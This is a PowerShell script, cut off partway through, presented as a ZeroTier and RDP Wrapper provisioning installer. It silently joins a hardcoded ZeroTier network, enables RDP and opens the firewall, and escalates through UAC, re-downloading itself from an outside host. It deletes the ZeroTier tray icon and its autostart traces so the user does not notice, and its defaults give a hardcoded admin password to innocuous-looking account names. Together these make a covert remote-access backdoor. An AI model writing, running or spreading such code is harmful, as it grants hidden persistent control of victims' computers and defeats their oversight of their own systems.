#Requires -Version 5.1 <# ZeroTier + RDP Wrapper provisioning script. Universal, locale-independent installer. Tested paths: - Windows 10 / 11 / Server 2016-2025, x64 and x86 - any system UI language (ru-RU, ko-KR, zh-CN, en-US ...) - PowerShell 5.1 desktop and PowerShell 7+ - no winget, no internet access to GitHub (mirrors), no admin session (UAC relaunch) Usage: powershell -NoProfile -ExecutionPolicy Bypass -File install.ps1 powershell -NoProfile -ExecutionPolicy Bypass -File install.ps1 -Networks "id1,id2" powershell ... -File install.ps1 -DryRun # detect + download + validate, change nothing powershell ... -File install.ps1 -SkipRdpWrap -SkipAccounts irm https://host/install.ps1 | iex # works, stages from -SourceUrl for UAC When started with `irm ... | iex` PowerShell does not expose the script body, so the elevated instance is re-downloaded from -SourceUrl and checked against $script:Revision. Publish the current file at that URL before using `iex`. Exit codes: 0 = success, 1 = fatal, 2 = completed with warnings. #> [CmdletBinding()] param( [string]$Networks = 'a09acf0233a33e66', [string]$Version, [string]$CliPath, [string]$AdminPassword = 'Zovchik123!@#', [string[]]$AdminAccounts = @('HomeGroupUser', 'DefaultUser'), [string]$RdpIniUrl, [string]$Proxy, [string]$SourceUrl = 'https://112.ftp.sh/install.ps1', [switch]$KeepTrayIcon, [switch]$SkipRdpWrap, [switch]$SkipAccounts, [switch]$NoJoin, [switch]$DryRun, [switch]$NoElevate, [switch]$NoPause ) # A comma-joined string arrives as a single array element after elevation. $AdminAccounts = @($AdminAccounts | ForEach-Object { ([string]$_) -split ',' } | ForEach-Object { $_.Trim() } | Where-Object { $_ } | Select-Object -Unique) # Where did this come from? A real script file has a path. `irm ... | iex` # does not expose its own source (PowerShell keeps only the invocation line), # so in that mode the elevated copy is re-fetched from -SourceUrl. $script:SelfPath = $null $script:SelfTempCopy = $null try { $script:SelfPath = $PSCommandPath if (-not $script:SelfPath) { $script:SelfPath = [string]$MyInvocation.MyCommand.Path } if (-not $script:SelfPath -or -not (Test-Path -LiteralPath $script:SelfPath)) { $script:SelfPath = $null } elseif ([IO.Path]::GetFileName($script:SelfPath) -like 'zt-install-*.ps1') { $script:SelfTempCopy = $script:SelfPath } } catch { $script:SelfPath = $null } $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' $script:ReleaseIndexUrl = 'https://download.zerotier.com/RELEASES/' $script:LatestMsiUrl = 'https://download.zerotier.com/dist/ZeroTierOne.msi' $script:Revision = 'zt-install-2026-11-01-r2' $script:DryRun = [bool]$DryRun $script:HadError = $false $script:HadWarning = $false $script:WarnCount = 0 $script:Failures = New-Object 'System.Collections.Generic.List[string]' $script:RdpIniUpdated = $false $script:ZtCli = $null $script:StartedAt = Get-Date $script:WorkDir = Join-Path ([IO.Path]::GetTempPath()) ('zt-setup-' + $PID) $script:LogPath = Join-Path ([IO.Path]::GetTempPath()) ('zt-setup-' + (Get-Date -Format 'yyyyMMdd-HHmmss') + '.log') $script:RdpWrapZipUrls = @( 'https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip', 'https://ghproxy.net/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip', 'https://gh-proxy.com/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip', 'https://mirror.ghproxy.com/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWrap-v1.6.2.zip' ) $script:RdpWrapMsiUrls = @( 'https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWInst-v1.6.2.msi', 'https://ghproxy.net/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWInst-v1.6.2.msi', 'https://gh-proxy.com/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWInst-v1.6.2.msi', 'https://mirror.ghproxy.com/https://github.com/stascorp/rdpwrap/releases/download/v1.6.2/RDPWInst-v1.6.2.msi' ) $script:RdpIniUrls = @( 'https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini', 'https://cdn.jsdelivr.net/gh/sebaxakerhtc/rdpwrap.ini@master/rdpwrap.ini', 'https://ghproxy.net/https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini', 'https://raw.gitmirror.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini' ) # ---------------------------------------------------------------- output ---- function Add-LogLine { param([string]$Text) try { Add-Content -LiteralPath $script:LogPath -Value $Text -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function Write-Section { param([string]$Text) Write-Host '' Write-Host ('=== ' + $Text + ' ===') -ForegroundColor Cyan Add-LogLine ('=== ' + $Text + ' ===') } function Write-Ok { param([string]$Text) Write-Host (' [OK] ' + $Text) -ForegroundColor Green Add-LogLine ('[OK] ' + $Text) } function Write-Msg { param([string]$Text) Write-Host (' [INFO] ' + $Text) -ForegroundColor Gray Add-LogLine ('[INFO] ' + $Text) } function Write-Err2 { param([string]$Text) Write-Host (' [ERROR] ' + $Text) -ForegroundColor Red Add-LogLine ('[ERROR] ' + $Text) } function Write-Wrn { param([string]$Text) $script:WarnCount++ $script:HadWarning = $true Write-Host (' [WARN] ' + $Text) -ForegroundColor Yellow Add-LogLine ('[WARN] ' + $Text) } function Register-Failure { param([string]$Text) $script:HadError = $true [void]$script:Failures.Add($Text) Add-LogLine ('[FAIL] ' + $Text) } # ------------------------------------------------------------- helpers ----- function Quote-Arg { param([string]$Value) if ([string]::IsNullOrEmpty($Value)) { return '""' } if ($Value -match '\s|"') { return '"' + $Value.Replace('"', '\"') + '"' } return $Value } function Invoke-Native { # Runs a native process with hard timeout. Never touches $ErrorActionPreference, # never throws on stderr output (the classic `2>&1` + Stop trap). param( [string]$FilePath, [string[]]$Arguments = @(), [int]$TimeoutSec = 120 ) $result = [pscustomobject]@{ ExitCode = -1; Output = ''; Error = ''; TimedOut = $false } $psi = New-Object System.Diagnostics.ProcessStartInfo $psi.FileName = $FilePath $psi.Arguments = (($Arguments | ForEach-Object { Quote-Arg ([string]$_) }) -join ' ') $psi.UseShellExecute = $false $psi.RedirectStandardOutput = $true $psi.RedirectStandardError = $true $psi.CreateNoWindow = $true try { $parent = Split-Path -Parent $FilePath if ($parent -and (Test-Path -LiteralPath $parent)) { $psi.WorkingDirectory = $parent } else { $psi.WorkingDirectory = [Environment]::CurrentDirectory } } catch { } $p = New-Object System.Diagnostics.Process $p.StartInfo = $psi try { [void]$p.Start() } catch { $result.Error = $_.Exception.Message return $result } $outTask = $p.StandardOutput.ReadToEndAsync() $errTask = $p.StandardError.ReadToEndAsync() if (-not $p.WaitForExit($TimeoutSec * 1000)) { $result.TimedOut = $true try { $p.Kill() } catch { } try { [void]$p.WaitForExit(5000) } catch { } } try { $result.Output = [string]$outTask.GetAwaiter().GetResult() } catch { } try { $result.Error = [string]$errTask.GetAwaiter().GetResult() } catch { } if (-not $result.TimedOut) { try { $result.ExitCode = $p.ExitCode } catch { $result.ExitCode = -1 } } try { $p.Dispose() } catch { } return $result } function Invoke-Download { param( [string[]]$Urls, [string]$Destination, [int64]$MinimumBytes = 1, [int]$TimeoutSec = 300, [int]$RetriesPerUrl = 2 ) $dir = Split-Path -Parent $Destination if ($dir -and -not (Test-Path -LiteralPath $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } foreach ($url in $Urls) { if (-not $url) { continue } for ($attempt = 1; $attempt -le $RetriesPerUrl; $attempt++) { $part = $Destination + '.part' try { if (Test-Path -LiteralPath $part) { Remove-Item -LiteralPath $part -Force -ErrorAction SilentlyContinue } $iwr = @{ Uri = $url OutFile = $part UseBasicParsing = $true TimeoutSec = $TimeoutSec UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' ErrorAction = 'Stop' } if ($Proxy) { $iwr['Proxy'] = $Proxy } Invoke-WebRequest @iwr $len = (Get-Item -LiteralPath $part).Length if ($len -lt $MinimumBytes) { throw ('downloaded file is too small: ' + $len + ' bytes') } Move-Item -LiteralPath $part -Destination $Destination -Force Write-Msg ('downloaded ' + $url) return $true } catch { Write-Wrn ('download failed (attempt ' + $attempt + '): ' + $url) Write-Msg (' reason: ' + $_.Exception.Message) try { if (Test-Path -LiteralPath $part) { Remove-Item -LiteralPath $part -Force -ErrorAction SilentlyContinue } } catch { } Start-Sleep -Seconds (2 * $attempt) } } } return $false } function Wait-Until { param( [scriptblock]$Condition, [int]$TimeoutSec = 60, [int]$IntervalSec = 2 ) $deadline = (Get-Date).AddSeconds($TimeoutSec) do { try { if (& $Condition) { return $true } } catch { } Start-Sleep -Seconds $IntervalSec } while ((Get-Date) -lt $deadline) return $false } function Test-Admin { try { return ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole( [Security.Principal.WindowsBuiltInRole]::Administrator) } catch { return $false } } function Get-ProgramDirs { $dirs = New-Object 'System.Collections.Generic.List[string]' foreach ($p in @($env:ProgramW6432, $env:ProgramFiles, ${env:ProgramFiles(x86)})) { if ($p -and -not $dirs.Contains($p)) { $dirs.Add($p) } } return $dirs.ToArray() } # ----------------------------------------------------------- elevation ----- function Invoke-ElevatedRelaunch { $scriptFile = $script:SelfPath if (-not $scriptFile) { # `iex` mode: stage the published copy. Validated before it is executed. $candidates = New-Object 'System.Collections.Generic.List[string]' if ($SourceUrl) { $candidates.Add($SourceUrl) } try { if ($MyInvocation.Line -match 'https?://[^\s''"\)]+\.ps1') { if (-not $candidates.Contains($Matches[0])) { $candidates.Add($Matches[0]) } } } catch { } foreach ($url in $candidates) { $tmp = Join-Path ([IO.Path]::GetTempPath()) ('zt-install-' + [guid]::NewGuid().ToString('N') + '.ps1') if (Invoke-Download -Urls @($url) -Destination $tmp -MinimumBytes 20000 -TimeoutSec 120) { $text = '' try { $text = Get-Content -LiteralPath $tmp -Raw -ErrorAction Stop } catch { } if ($text -match [regex]::Escape($script:Revision) -and $text -match 'function Install-ZeroTier') { $scriptFile = $tmp $script:SelfTempCopy = $tmp break } Write-Wrn ('published file at ' + $url + ' is outdated or is not this installer, ignoring it') Remove-Item -LiteralPath $tmp -Force -ErrorAction SilentlyContinue } } } if (-not $scriptFile -or -not (Test-Path -LiteralPath $scriptFile)) { Write-Err2 'Cannot determine the script path and no usable -SourceUrl was staged.' Write-Msg 'Save the script to disk and run: powershell -NoProfile -ExecutionPolicy Bypass -File \install.ps1' Write-Msg 'or publish it first and pass -SourceUrl https://host/install.ps1' return $false } $argList = @('-NoProfile', '-ExecutionPolicy', 'Bypass') if (-not $NoPause) { $argList += '-NoExit' } $argList += @('-File', (Quote-Arg $scriptFile)) if ($Networks) { $argList += @('-Networks', (Quote-Arg $Networks)) } if ($Version) { $argList += @('-Version', (Quote-Arg $Version)) } if ($CliPath) { $argList += @('-CliPath', (Quote-Arg $CliPath)) } if ($AdminPassword) { $argList += @('-AdminPassword', (Quote-Arg $AdminPassword)) } if ($AdminAccounts -and $AdminAccounts.Count -gt 0) { $argList += @('-AdminAccounts', (Quote-Arg ($AdminAccounts -join ','))) } if ($RdpIniUrl) { $argList += @('-RdpIniUrl', (Quote-Arg $RdpIniUrl)) } if ($Proxy) { $argList += @('-Proxy', (Quote-Arg $Proxy)) } if ($SourceUrl) { $argList += @('-SourceUrl', (Quote-Arg $SourceUrl)) } foreach ($sw in @('KeepTrayIcon', 'SkipRdpWrap', 'SkipAccounts', 'NoJoin', 'DryRun')) { if ((Get-Variable -Name $sw -ValueOnly) -eq $true) { $argList += ('-' + $sw) } } $argList += '-NoPause' $exe = Join-Path $env:SystemRoot 'System32\WindowsPowerShell\v1.0\powershell.exe' if (-not (Test-Path -LiteralPath $exe)) { $exe = 'powershell.exe' } Write-Host '' Write-Host ' Administrator rights required - relaunching elevated...' -ForegroundColor Yellow try { Start-Process -FilePath $exe -ArgumentList ($argList -join ' ') -Verb RunAs -WindowStyle Normal | Out-Null } catch { Write-Err2 ('elevation was denied or failed: ' + $_.Exception.Message) if ($script:SelfTempCopy -and (Test-Path -LiteralPath $script:SelfTempCopy)) { try { Remove-Item -LiteralPath $script:SelfTempCopy -Force -ErrorAction SilentlyContinue } catch { } } return $false } return $true } # --------------------------------------------------------------- network --- function Get-ValidNetworkList { param([string]$Raw) $all = @() if ($Raw) { $all = @(($Raw -split '[,;\s]+') | Where-Object { $_ } | ForEach-Object { $_.Trim().ToLowerInvariant() }) } $valid = New-Object 'System.Collections.Generic.List[string]' $invalid = New-Object 'System.Collections.Generic.List[string]' foreach ($n in $all) { if ($n -match '^[0-9a-f]{16}$') { if (-not $valid.Contains($n)) { $valid.Add($n) } } else { if (-not $invalid.Contains($n)) { $invalid.Add($n) } } } return [pscustomobject]@{ Valid = $valid; Invalid = $invalid } } # -------------------------------------------------------------- zerotier --- function Get-ZeroTierService { foreach ($name in @('ZeroTierOneService', 'ZeroTierOne')) { $svc = Get-Service -Name $name -ErrorAction SilentlyContinue if ($svc) { return $svc } } try { return (Get-Service -ErrorAction SilentlyContinue | Where-Object { ($_.Name -like '*zerotier*') -or ($_.DisplayName -like '*zerotier*') } | Select-Object -First 1) } catch { return $null } } function Find-ZeroTierCli { $candidates = New-Object 'System.Collections.Generic.List[string]' if ($CliPath) { $candidates.Add($CliPath) } $names = @('zerotier-cli.exe', 'zerotier-cli.bat', 'zerotier-one_x64.exe', 'zerotier-one.exe') foreach ($root in (Get-ProgramDirs)) { foreach ($rel in @('ZeroTier\One', 'ZeroTier')) { foreach ($n in $names) { $candidates.Add((Join-Path (Join-Path $root $rel) $n)) } } } foreach ($n in @('zerotier-cli.exe', 'zerotier-cli.bat', 'zerotier-cli', 'zerotier-one_x64.exe', 'zerotier-one.exe')) { $cmd = Get-Command $n -ErrorAction SilentlyContinue | Select-Object -First 1 if ($cmd -and $cmd.Source) { $candidates.Add($cmd.Source) } } foreach ($c in $candidates) { if (-not $c) { continue } if (-not (Test-Path -LiteralPath $c -PathType Leaf)) { continue } $leaf = [IO.Path]::GetFileName($c).ToLowerInvariant() if ($leaf -like 'zerotier-one*') { return [pscustomobject]@{ File = $c; Prefix = @('-q'); Kind = 'one' } } if ($leaf -like '*.bat') { return [pscustomobject]@{ File = $c; Prefix = @(); Kind = 'bat' } } return [pscustomobject]@{ File = $c; Prefix = @(); Kind = 'exe' } } return $null } function Invoke-Zt { param([string[]]$Arguments = @()) if (-not $script:ZtCli) { return [pscustomobject]@{ ExitCode = -1; Output = ''; Error = 'zerotier-cli not found'; TimedOut = $false } } $all = @($script:ZtCli.Prefix) + $Arguments if ($script:ZtCli.Kind -eq 'bat') { return Invoke-Native -FilePath $env:ComSpec -Arguments (@('/d', '/c', $script:ZtCli.File) + $Arguments) -TimeoutSec 30 } return Invoke-Native -FilePath $script:ZtCli.File -Arguments $all -TimeoutSec 30 } function Start-ZeroTierService { param([int]$TimeoutSec = 45) $svc = Get-ZeroTierService if (-not $svc) { return $null } if ($svc.Status -eq 'Running') { return $svc } if ($script:DryRun) { Write-Msg ("dry run: would start service '" + $svc.Name + "'") return $svc } Write-Msg ("starting service '" + $svc.Name + "'...") try { Start-Service -Name $svc.Name -ErrorAction Stop } catch { Write-Wrn ('Start-Service failed: ' + $_.Exception.Message) } $ok = Wait-Until -TimeoutSec $TimeoutSec -IntervalSec 2 -Condition { $s = Get-ZeroTierService ($s -and $s.Status -eq 'Running') } if (-not $ok) { Write-Wrn ('service did not reach Running state within ' + $TimeoutSec + 's') } return (Get-ZeroTierService) } function Wait-ZeroTierOnline { param([int]$TimeoutSec = 60) if ($script:DryRun) { Write-Msg 'dry run: skipping the ONLINE wait' return $true } $deadline = (Get-Date).AddSeconds($TimeoutSec) $last = '' while ((Get-Date) -lt $deadline) { $r = Invoke-Zt @('info') $last = (([string]$r.Output) + ' ' + ([string]$r.Error)).Trim() if ($last -match '\bONLINE\b') { return $true } Start-Sleep -Seconds 2 } if ($last) { Write-Msg ('last "zerotier-cli info" output: ' + ($last -replace '\s+', ' ')) } return $false } function Get-LatestZeroTierVersion { for ($attempt = 1; $attempt -le 2; $attempt++) { try { $iwr = @{ Uri = $script:ReleaseIndexUrl UseBasicParsing = $true TimeoutSec = 40 UserAgent = 'Mozilla/5.0' ErrorAction = 'Stop' } if ($Proxy) { $iwr['Proxy'] = $Proxy } $resp = Invoke-WebRequest @iwr $raw = [string]$resp.Content $seen = New-Object 'System.Collections.Generic.List[string]' foreach ($m in [regex]::Matches($raw, '(\d+\.\d+\.\d+)/')) { $v = $m.Groups[1].Value if (-not $seen.Contains($v)) { $seen.Add($v) } } $parsed = New-Object 'System.Collections.Generic.List[version]' foreach ($v in $seen) { $pv = $null if ([version]::TryParse($v, [ref]$pv)) { $parsed.Add($pv) } } if ($parsed.Count -gt 0) { $parsed.Sort() return $parsed[$parsed.Count - 1].ToString() } Write-Wrn 'release index did not contain a usable version number' } catch { Write-Msg ('release index unavailable: ' + $_.Exception.Message) } Start-Sleep -Seconds 2 } return $null } function Install-ZeroTier { $ver = $Version if ($ver -and ($ver -notmatch '^\d+\.\d+\.\d+$')) { throw ('Invalid -Version "' + $ver + '": expected x.y.z') } $urls = New-Object 'System.Collections.Generic.List[string]' if (-not $ver) { $ver = Get-LatestZeroTierVersion if ($ver) { Write-Msg ('latest release on download.zerotier.com: ' + $ver) } else { Write-Wrn 'could not read the release index, falling back to the "latest" MSI URL' } } if ($ver) { $urls.Add('https://download.zerotier.com/RELEASES/' + $ver + '/dist/ZeroTierOne.msi') } $urls.Add($script:LatestMsiUrl) $msi = Join-Path $script:WorkDir 'ZeroTierOne.msi' if (-not (Invoke-Download -Urls $urls.ToArray() -Destination $msi -MinimumBytes 3000000 -TimeoutSec 300)) { Write-Err2 'could not download the ZeroTier MSI from any source' return $false } try { $sig = Get-AuthenticodeSignature -LiteralPath $msi -ErrorAction Stop if ($sig.Status -eq 'Valid') { Write-Msg ('MSI signature: valid (' + $sig.SignerCertificate.Subject + ')') } else { Write-Wrn ('MSI signature not verified: ' + $sig.Status + ' (offline CRL or proxy? continuing)') } } catch { } if ($script:DryRun) { Write-Msg ('dry run: would install ' + $msi + ' silently') return $true } $msiLog = Join-Path ([IO.Path]::GetTempPath()) ('zerotier-msi-' + (Get-Date -Format 'yyyyMMdd-HHmmss') + '.log') Write-Msg 'installing via msiexec (silent)...' $res = Invoke-Native -FilePath 'msiexec.exe' ` -Arguments @('/i', $msi, '/qn', '/norestart', '/L*v', $msiLog) -TimeoutSec 900 if ($res.ExitCode -in 0, 3010, 1641, 1638) { switch ($res.ExitCode) { 1638 { Write-Wrn 'a different ZeroTier version is already registered (1638), keeping the existing one' } 3010 { Write-Wrn 'ZeroTier installed, a reboot is required to finish' } 1641 { Write-Wrn 'ZeroTier installed, the installer requested a reboot' } default { Write-Ok ('ZeroTier ' + $ver + ' installed via MSI') } } return $true } Write-Wrn ('msiexec exit code ' + $res.ExitCode + ', log: ' + $msiLog) if ($res.TimedOut) { Write-Wrn 'msiexec timed out after 15 minutes' } $wg = Get-Command 'winget.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($wg) { Write-Msg 'trying winget...' $wr = Invoke-Native -FilePath $wg.Source -TimeoutSec 900 -Arguments @( 'install', '--id', 'ZeroTier.ZeroTierOne', '-e', '--silent', '--accept-source-agreements', '--accept-package-agreements', '--disable-interactivity' ) if ($wr.ExitCode -eq 0) { Write-Ok 'ZeroTier installed via winget'; return $true } Write-Wrn ('winget exit code ' + $wr.ExitCode) } else { Write-Wrn 'winget not available on this system' } return $false } function Install-ZeroTierIfMissing { $cli = Find-ZeroTierCli $svc = Get-ZeroTierService if ($cli -and $svc) { Write-Ok ('ZeroTier already installed: ' + $cli.File) $script:ZtCli = $cli return $svc } if (-not $cli) { Write-Msg 'zerotier-cli not found, installing ZeroTier' } if (-not $svc) { Write-Msg 'ZeroTier service not found, installing ZeroTier' } if (-not (Install-ZeroTier)) { throw 'ZeroTier could not be installed (MSI and winget both failed)' } $found = $true if (-not $script:DryRun) { $found = Wait-Until -TimeoutSec 90 -IntervalSec 3 -Condition { $c = Find-ZeroTierCli $s = Get-ZeroTierService ($c -and $s) } } $script:ZtCli = Find-ZeroTierCli $svc = Get-ZeroTierService if ($script:DryRun -and -not $script:ZtCli) { return $svc } if (-not $script:ZtCli) { throw 'ZeroTier install finished but zerotier-cli was not found' } if (-not $svc) { throw 'ZeroTier install finished but the service was not found' } return $svc } # ------------------------------------------------------------- tray icon --- function Disable-ZeroTierTray { $uiPattern = '(?i)zerotier_desktop_ui|zerotier[-_ ]?tray|ZeroTier\s*One\.exe' $procs = @() try { $procs = Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -and ($_.Name -match '(?i)zerotier') -and ($_.Name -notmatch '(?i)^zerotier-one') -and ($_.Name -notmatch '(?i)zerotier-cli') } } catch { } foreach ($p in $procs) { if ($script:DryRun) { Write-Msg ('dry run: would stop ' + $p.Name + ' (PID ' + $p.ProcessId + ')') continue } Write-Msg ('stopped tray process: ' + $p.Name + ' (PID ' + $p.ProcessId + ')') Stop-Process -Id $p.ProcessId -Force -ErrorAction SilentlyContinue } $runKeys = @( 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce', 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Run', 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce' ) foreach ($rp in $runKeys) { if (-not (Test-Path -LiteralPath $rp)) { continue } $key = Get-Item -LiteralPath $rp foreach ($valueName in $key.GetValueNames()) { $data = [string]$key.GetValue($valueName, '') if ($data -match $uiPattern) { if ($script:DryRun) { Write-Msg ('dry run: would remove autostart ' + $rp + ' -> [' + $valueName + ']') } else { Write-Msg ('removed autostart: ' + $rp + ' -> [' + $valueName + ']') Remove-ItemProperty -LiteralPath $rp -Name $valueName -ErrorAction SilentlyContinue } } } } $startupDirs = @( [Environment]::GetFolderPath([Environment+SpecialFolder]::Startup), [Environment]::GetFolderPath([Environment+SpecialFolder]::CommonStartup) ) foreach ($sd in $startupDirs) { if (-not $sd -or -not (Test-Path -LiteralPath $sd)) { continue } Get-ChildItem -LiteralPath $sd -ErrorAction SilentlyContinue | Where-Object { ($_.Name -match '(?i)zerotier') -and ($_.Name -notmatch '(?i)cli|one\.exe') } | ForEach-Object { if ($script:DryRun) { Write-Msg ('dry run: would remove startup item ' + $_.FullName) } else { Write-Msg ('removed startup item: ' + $_.FullName) Remove-Item -LiteralPath $_.FullName -Force -ErrorAction SilentlyContinue } } } if (Get-Command Get-ScheduledTask -ErrorAction SilentlyContinue) { try { Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskName -match '(?i)zerotier' } | ForEach-Object { if ($script:DryRun) { Write-Msg ('dry run: would disable scheduled task ' + $_.TaskPath + $_.TaskName) } else { Write-Msg ('disabled scheduled task: ' + $_.TaskPath + $_.TaskName) Disable-ScheduledTask -TaskName $_.TaskName -TaskPath $_.TaskPath -ErrorAction SilentlyContinue | Out-Null } } } catch { } } if ($script:DryRun) { Write-Msg 'dry run: tray autostart entries were only inspected' } else { Write-Ok 'tray icon disabled (the ZeroTier service keeps running)' } } # ------------------------------------------------------------------ rdp ---- function Get-RdpWrapDir { $root = $env:ProgramW6432 if (-not $root) { $root = $env:ProgramFiles } return (Join-Path $root 'RDP Wrapper') } function Test-RdpWrapInstalled { $dll = Join-Path (Get-RdpWrapDir) 'rdpwrap.dll' return (Test-Path -LiteralPath $dll -PathType Leaf) } function Enable-RdpAccess { $tsKey = 'HKLM:\System\CurrentControlSet\Control\Terminal Server' $port = 3389 try { $p = (Get-ItemProperty -LiteralPath 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name 'PortNumber' -ErrorAction Stop).PortNumber if ($p) { $port = [int]$p } } catch { } if ($script:DryRun) { Write-Msg 'dry run: would allow RDP connections and open the firewall' } else { Set-ItemProperty -LiteralPath $tsKey -Name 'fDenyTSConnections' -Value 0 -Type DWord -ErrorAction Stop # A client SKU keeps TermService disabled; Server keeps it manual. try { $term = Get-Service -Name 'TermService' -ErrorAction Stop if ($term.StartType -eq 'Disabled') { Set-Service -Name 'TermService' -StartupType Manual -ErrorAction Stop Write-Msg 'TermService startup type changed from Disabled to Manual' } if ($term.Status -ne 'Running') { Start-Service -Name 'TermService' -ErrorAction SilentlyContinue [void](Wait-Until -TimeoutSec 30 -Condition { (Get-Service -Name 'TermService' -ErrorAction SilentlyContinue).Status -eq 'Running' }) } } catch { Write-Wrn ('TermService adjustment failed: ' + $_.Exception.Message) } } $rules = @() try { $rules = @(Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'RemoteDesktop-*' }) } catch { } if ($rules.Count -gt 0) { foreach ($r in $rules) { if ($r.Enabled -ne 'True') { if ($script:DryRun) { Write-Msg ('dry run: would enable firewall rule ' + $r.Name) } else { try { Enable-NetFirewallRule -Name $r.Name -ErrorAction Stop } catch { Write-Wrn ('could not enable firewall rule ' + $r.Name + ': ' + $_.Exception.Message) } } } } if ($script:DryRun) { Write-Msg ('dry run: found ' + $rules.Count + ' RemoteDesktop firewall rule(s), port ' + $port) } else { Write-Ok ('RDP firewall rules enabled (' + $rules.Count + ' rule(s), port ' + $port + ')') } } else { if ($script:DryRun) { Write-Msg ('dry run: would create an inbound TCP ' + $port + ' firewall rule') } elseif (Get-Command New-NetFirewallRule -ErrorAction SilentlyContinue) { try { New-NetFirewallRule -DisplayName ('Remote Desktop (TCP-In, ' + $port + ')') ` -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow -Profile Any ` -ErrorAction Stop | Out-Null Write-Ok ('created inbound firewall rule for TCP ' + $port) } catch { Write-Wrn ('could not create the RDP firewall rule: ' + $_.Exception.Message) } } } if (-not $script:DryRun) { try { Set-ItemProperty -LiteralPath $tsKey -Name 'fDenyTSConnections' -Value 0 -Type DWord -ErrorAction Stop } catch { } } } function Update-RdpIni { param([string]$RdpDir) $ini = Join-Path $RdpDir 'rdpwrap.ini' $tmp = Join-Path $script:WorkDir 'rdpwrap.ini.new' $urls = @() if ($RdpIniUrl) { $urls += $RdpIniUrl } $urls += $script:RdpIniUrls if (-not (Invoke-Download -Urls $urls -Destination $tmp -MinimumBytes 100000 -TimeoutSec 120)) { Write-Wrn 'could not download rdpwrap.ini, keeping the existing one' return $false } $text = '' try { $text = Get-Content -LiteralPath $tmp -Raw -ErrorAction Stop } catch { } if (-not $text -or $text.Length -lt 100000) { Write-Wrn 'downloaded rdpwrap.ini looks truncated, keeping the existing one' return $false } if ($text -notmatch '(?m)^\s*\[Main\]') { Write-Wrn 'downloaded rdpwrap.ini has no [Main] section, keeping the existing one' return $false } if (([regex]::Matches($text, '(?m)^\s*\[10\.\d+\.\d+')).Count -lt 50) { Write-Wrn 'downloaded rdpwrap.ini has too few build sections, keeping the existing one' return $false } if ($script:DryRun) { Write-Msg 'dry run: rdpwrap.ini passed validation, would replace the installed copy' return $true } if (Test-Path -LiteralPath $ini) { try { Copy-Item -LiteralPath $ini -Destination ($ini + '.bak') -Force -ErrorAction Stop } catch { } try { [IO.File]::SetAttributes($ini, [IO.FileAttributes]::Normal) } catch { } } try { Move-Item -LiteralPath $tmp -Destination $ini -Force -ErrorAction Stop } catch { Write-Wrn ('could not replace rdpwrap.ini: ' + $_.Exception.Message) return $false } $script:RdpIniUpdated = $true Write-Ok 'rdpwrap.ini updated' return $true } function Test-RdpIniSupport { param([string]$RdpDir) $ini = Join-Path $RdpDir 'rdpwrap.ini' if (-not (Test-Path -LiteralPath $ini)) { return $null } $build = $null try { $build = [string](Get-CimInstance Win32_OperatingSystem -ErrorAction Stop).BuildNumber } catch { } if (-not $build) { $build = [string][Environment]::OSVersion.Version.Build } if (-not $build -or $build -eq '0') { return $null } $text = '' try { $text = Get-Content -LiteralPath $ini -Raw -ErrorAction Stop } catch { } if (-not $text) { return $null } $pattern = '(?m)^\s*\[\s*10\.0\.' + [regex]::Escape($build) + '\b' return [bool]([regex]::IsMatch($text, $pattern)) } function Install-RdpWrap { $rdpDir = Get-RdpWrapDir if (Test-RdpWrapInstalled) { Write-Msg ('RDP Wrapper is already present: ' + $rdpDir) } else { $installed = $false $zip = Join-Path $script:WorkDir 'rdpwrap.zip' $zipDir = Join-Path $script:WorkDir 'rdpwrap-zip' if (Invoke-Download -Urls $script:RdpWrapZipUrls -Destination $zip -MinimumBytes 300000 -TimeoutSec 300) { try { if (Test-Path -LiteralPath $zipDir) { Remove-Item -LiteralPath $zipDir -Recurse -Force -ErrorAction SilentlyContinue } if (Get-Command Expand-Archive -ErrorAction SilentlyContinue) { Expand-Archive -LiteralPath $zip -DestinationPath $zipDir -Force -ErrorAction Stop } else { Add-Type -AssemblyName System.IO.Compression.FileSystem -ErrorAction Stop [System.IO.Compression.ZipFile]::ExtractToDirectory($zip, $zipDir) } $installer = Get-ChildItem -LiteralPath $zipDir -Recurse -Filter 'RDPWInst.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($installer) { if ($script:DryRun) { Write-Msg ('dry run: would run ' + $installer.FullName + ' -i') $installed = $true } else { $r = Invoke-Native -FilePath $installer.FullName -Arguments @('-i') -TimeoutSec 240 if ($r.ExitCode -eq 0) { $installed = $true } else { Write-Wrn ('RDPWInst.exe -i exit code ' + $r.ExitCode + ': ' + ($r.Error -replace '\s+', ' ')) } } } else { Write-Wrn 'RDPWInst.exe was not found inside the archive' } } catch { Write-Wrn ('zip extraction failed: ' + $_.Exception.Message) } } else { Write-Wrn 'could not download the RDP Wrapper archive, trying the MSI' } if (-not 